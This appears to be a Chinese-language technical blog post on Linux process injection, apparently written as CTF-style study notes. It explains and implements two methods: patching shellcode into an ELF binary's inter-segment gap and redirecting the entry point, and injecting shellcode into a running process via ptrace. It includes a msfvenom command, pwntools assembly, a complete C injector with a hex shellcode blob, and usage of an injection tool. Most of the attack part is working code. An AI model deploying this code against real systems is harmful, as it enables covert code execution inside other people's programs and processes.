Linux进程注入
January 13, 2021 Linux 访问: 76 次
elf文件注入
直接把shellcode
静态的添加到文件进去,然后修改程序入口点为我们的shellcode
(注意shellcode
的最后需要进行一个跳转,跳转到我们正常的程序入口点即可)
0x01 生成shellcode
可以通过msf
来生成,当然也可以自己写
msfvenom -p linux/x64/exec CMD=whoami --arch x64 --platform linux -f raw > shellcode_exec
0x02 找到页之间的空隙
❯ python /usr/local/bin/readelf.py -l test 130 ↵
Elf file type is EXEC (Executable file)
Entry point is 0x4004c0
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040 0x00000000000001f8 0x00000000000001f8 R E 8
INTERP 0x0000000000000238 0x0000000000400238 0x0000000000400238 0x000000000000001c 0x000000000000001c R 1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x00000000000007c4 0x00000000000007c4 R E 200000
LOAD 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 0x0000000000000238 0x0000000000000240 RW 200000
DYNAMIC 0x0000000000000e28 0x0000000000600e28 0x0000000000600e28 0x00000000000001d0 0x00000000000001d0 RW 8
NOTE 0x0000000000000254 0x0000000000400254 0x0000000000400254 0x0000000000000044 0x0000000000000044 R 4
GNU_EH_FRAME 0x0000000000000698 0x0000000000400698 0x0000000000400698 0x0000000000000034 0x0000000000000034 R 4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 10
GNU_RELRO 0x0000000000000e10 0x0000000000600e10 0x0000000000600e10 0x00000000000001f0 0x00000000000001f0 R 1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
可以看到,type类型为LOAD
的两个segment
中间是有一段空间的,在0x00000000000007c4~0x0000000000000e10
之间
0x03 插入shellcode
0x04 修改入口地址
成功执行我们的shellcode
然后我发现如果通过execve执行/bin/sh
命令的话,执行完会程序会直接挂掉
写一个读文件的shellcode
from pwn import *
context.arch='amd64'
shellcode = '''
mov rbx,0x67616c662f2e
push rbx
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,3
mov rsi,0x601050
mov rdx,0x30
mov rax,0
syscall
mov rdi,1
mov rsi,0x601050
mov rdx,0x30
mov rax,1
syscall
mov rax,0x4004c0
jmp rax
'''
print asm(shellcode)
然后按照上面的方式注入进去
可以执行并且可以继续运行下去
ptrace 注入进程
主要是通过ptrace来操作进程内存
- attach上进程
- 获取进程当前状态的寄存器信息
- PTRACE_POKETEXT修改内存,把shellcode填充到页空白区
- PTRACE_SETREGS修改RIP,修改到shellcode
- PTRACE_DETACH让进程继续运行
需要注意的是
0x01 第四步修改rip时,我们要修改成&shellcode+2
,经调试发现,如果我们设置的地址是&shellcode
时,跳到这个地址后会跳到前两个字节去执行(之前在CTF中遇到过)
0x02 没能实现动态生成shellcode,现在需要每次都先获取old_rip
地址,再把这个old_rip
构造到shellcode
中,在进行注入
完整代码如下:
#include<stdio.h>
#include<sys/ptrace.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include<sys/user.h>
#include<string.h>
void modify_memery(pid_t pid,size_t *buf,size_t addr,size_t len)
{
//以字(64位)为单位写 PTRACE_POKETEXT, PTRACE_POKEDATA
int times;
if(len%8 == 0)
{
times = len/8;
}else
{
times = (len/8)+1;
}
int idx,sign;
for(idx=0;idx<times;idx++)
{
sign = ptrace(PTRACE_POKETEXT,pid,addr+(idx*8),buf[idx]);
// printf("%p\n",buf[idx]);
if(sign != 0)
{
printf("write memery error!");
exit(0);
}
}
}
struct user_regs_struct* show_reg_info(pid_t pid)
{
struct user_regs_struct *p_r=malloc(sizeof(struct user_regs_struct));
ptrace(PTRACE_GETREGS,pid,NULL,p_r);
printf("rax:%p\n",p_r->rax);
printf("rbx:%p\n",p_r->rbx);
printf("rcx:%p\n",p_r->rcx);
printf("rdx:%p\n",p_r->rdx);
printf("rdi:%p\n",p_r->rdi);
printf("rsi:%p\n",p_r->rsi);
printf("r8:%p\n",p_r->r8);
printf("r9:%p\n",p_r->r9);
printf("rsp:%p\n",p_r->rsp);
printf("rbp:%p\n",p_r->rbp);
printf("rip:%p\n",p_r->rip);
return p_r;
}
void set_reg_info(pid_t pid,struct user_regs_struct *p_r)
{
ptrace (PTRACE_SETREGS, pid, NULL,p_r);
}
int main(int argc,char * argv[])
{
struct user_regs_struct *process_register;
if(argc!=2){
printf("Usage: %s pid\n",argv[0]);
exit(0);
}
size_t old_rip;
pid_t process_id = atoi(argv[1]);
int sign=0;
sign = ptrace(PTRACE_ATTACH,process_id,0,0);
if(sign!=0)
{
printf("ptrace error!");
exit(0);
}
wait(NULL);
process_register = show_reg_info(process_id);
old_rip = (size_t)process_register->rip;
size_t *shellcode=malloc(0x100);
int shellcode_len;
char sc_tmp[] = "\x53\x51\x52\x57\x56\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x48\xbb\x2e\x2f\x66\x6c\x61\x67\x00\x00\x53\x48\x89\xe7\x48\x31\xf6\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\xc7\xc7\x03\x00\x00\x00\x48\xc7\xc6\x50\x10\x60\x00\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc6\x50\x10\x60\x00\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x5b\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59\x41\x58\x5e\x5f\x5a\x59\x5b\x48\xb8\x70\xc3\xeb\xe7\x2f\x7f\x00\x00\xff\xe0";
memcpy(shellcode,sc_tmp,141);
modify_memery(process_id,shellcode,0x400800,141);
process_register->rip = (unsigned long long int )0x400800+2;
set_reg_info(process_id,process_register);
show_reg_info(process_id);
ptrace(PTRACE_DETACH, process_id, NULL, NULL);
return 0;
}
构造shellcode:
from pwn import *
context.arch='amd64'
shellcode = '''
push rbx
push rcx
push rdx
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
mov rbx,0x67616c662f2e
push rbx
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,3
mov rsi,0x601050
mov rdx,0x30
mov rax,0
syscall
mov rdi,1
mov rsi,0x601050
mov rdx,0x30
mov rax,1
syscall
pop rbx
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
mov rax,0x7f2fe7ebc370
jmp rax
'''
shellcode = asm(shellcode)
c_buf = ""
print len(shellcode)
for x in range(len(shellcode)):
c_buf += "\\x"+hex(ord(shellcode[x]))[2:].rjust(2,"0")
print c_buf
效果:
注入工具 linux-injector
工具地址linux-injector
环境,需要安装fasm
,然后make就行
用法:
需要进程pid和payload的二进制形式
❯ ./injector 22435 print64.bin